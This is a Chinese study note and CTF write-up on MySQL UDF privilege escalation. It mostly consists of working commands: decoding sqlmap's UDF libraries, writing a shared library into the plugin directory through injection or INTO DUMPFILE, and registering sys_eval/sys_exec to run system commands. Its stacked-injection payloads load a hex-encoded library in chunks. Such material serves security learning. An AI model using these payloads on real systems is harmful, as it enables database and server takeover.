学习文章:https://www.sqlsec.com/2020/11/mysql.html#UDF-%E6%8F%90%E6%9D%83
基本概念:自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用,就像调用本机函数 version () 等方便。
复现
动态连接库
如果是MySQL >= 5.1的版本,必须把UDF的动态链接库文件放置于Mysql安装目录下的lib\plugin文件夹下才能创建自定义函数,
sqlmap和Metasploit里都自带了对应系统的动态链接库文件
1
| /usr/share/sqlmap/data/udf/mysql
|

sqlmap自带的udf动态链接库因为防止被误杀,都带着编码,不过它也给出了编码工具 cloak.py

1 2 3 4 5 6 7 8 9 10 11 12 13 14
| pwd /usr/share/sqlmap/extra/cloak
# 解码 32 位的 Linux 动态链接库 ➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
# 解码 64 位的 Linux 动态链接库 ➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so
# 解码 32 位的 Windows 动态链接库 ➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
# 解码 64 位的 Windows 动态链接库 ➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
|
- Metasploit中的udf动态链接库就不过多赘述了,它的文件内容其实和sqlmap的动态链接库文件内容一样,只不过是未经编码的,具体可看一下国光师傅的文章
寻找插件目录
使用命令
1 2 3 4 5 6 7
| show variables like '%plugin%'; +-------------------------------+----------------------------------------------------+ | Variable_name | Value | +-------------------------------+----------------------------------------------------+ | default_authentication_plugin | mysql_native_password | | plugin_dir | D:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\ | +-------------------------------+----------------------------------------------------+
|
如果不存在可以找到mysql安装目录,然后手动创建\lib\plugin
1
| select 233 into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation';
|
找mysql的安装目录的命令是
1 2 3 4 5 6
| select @@basedir; +-----------------------------------------+ | @@basedir | +-----------------------------------------+ | D:\phpstudy_pro\Extensions\MySQL5.7.26\ | +-----------------------------------------+
|
写入动态链接库
一、
条件:SQL注入且是高权限,plugin目录可写且需要secure_file_priv无限制,MySQL插件目录可以被MySQL用户写入,这时就可以直接使用sqlmap来上传动态链接库,又因为get方法又字节限制,所以往往要使用POST方法
命令就是
1 2 3 4
| sqlmap -u "http://localhost:30008/" \ --data="id=1" \ --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" \//动态连接库的位置 --file-dest="/usr/lib/mysql/plugin/udf.so" //要写入的位置
|
二
如果没有注入的话我们可以操作原生sql语句,但是必须时 secure_file_priv无限制的时候,可以手动写文件到plugin目录下:
可以直接向plugin目录下写入
1 2 3 4 5
| # 直接 SELECT 查询十六进制写入 SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
# 解码十六进制再写入多此一举 SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
|
16进制的由来是这样的
1 2 3 4 5 6 7
| # 直接传入路径编码 SELECT hex(load_file('/lib_mysqludf_sys_64.so'));
# 也可以将路径 hex 编码 SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)); //我的命令是 select hex(load_file('D:\\Desktop\\lib_mysqludf_sys_32.dll'));
|

也可以导入到文件里
1
| select hex(load_file('D:\\Desktop\\lib_mysqludf_sys_32.dll')) into dumpfile 'D:\\Desktop\\4.txt';
|

然后就执行上面那条命令写入到目标服务器就行

创建自定义函数并执行命令
导入sys_eval函数
1
| CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
|
查看是否导入成功
1
| select * from mysql.func;
|

注意点:我之前导入的是32位然后发现不行后来尝试64位成功了。

删除自定义函数
一道ctf题目
[SWPUCTF 2025 秋季新生赛]sql仅仅只是sql吗?
sqlmap可以一把梭
然后也可以手动注入
1
| 1 union SELECT 1,2,group_concat( VARIABLE_VALUE) FROM information_schema.GLOBAL_VARIABLES WHERE variable_name = 'secure_file_priv'
|
查看是否配置可用
1
| 1 union select 1,2,group_concat(VARIABLE_VALUE) from information_schema.GLOBAL_VARIABLES where VARIABLE_NAME like 'plugin%'
|
查看 plugin 的位置
但是需要注意的是,因为传参方式是GET传参,GET传参对于长度有限制,所以我们需要分段传入。 这里用的办法是,先创建一个表,将十六进制一点点插入进表里的字段,然后将字段里的值写进文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| # 创建一个sqludf表,里面有一个longblob数据类型的data字段 1;CREATE TABLE sqludf(data longblob);
# 将十六进制的so文件传进该字段 1;INSERT INTO sqludf(data) VALUES (0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000);
# 在该字段后追加数据 1;UPDATE sqludf SET data=CONCAT(data,0x181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e574640400000064120000000000006412000000000000);
# 。。。。。。(不断截取,将整个文件传进去)
# 将十六进制写进so文件 1;SELECT data FROM sqludf INTO DUMPFILE '/usr/lib/mariadb/plugin/rce.so';
# 创建sys_exec方法 1;CREATE FUNCTION sys_exec RETURNS int SONAME 'rce.so';
# 执行命令 1 union SELECT 1,2,sys_exec('env');
|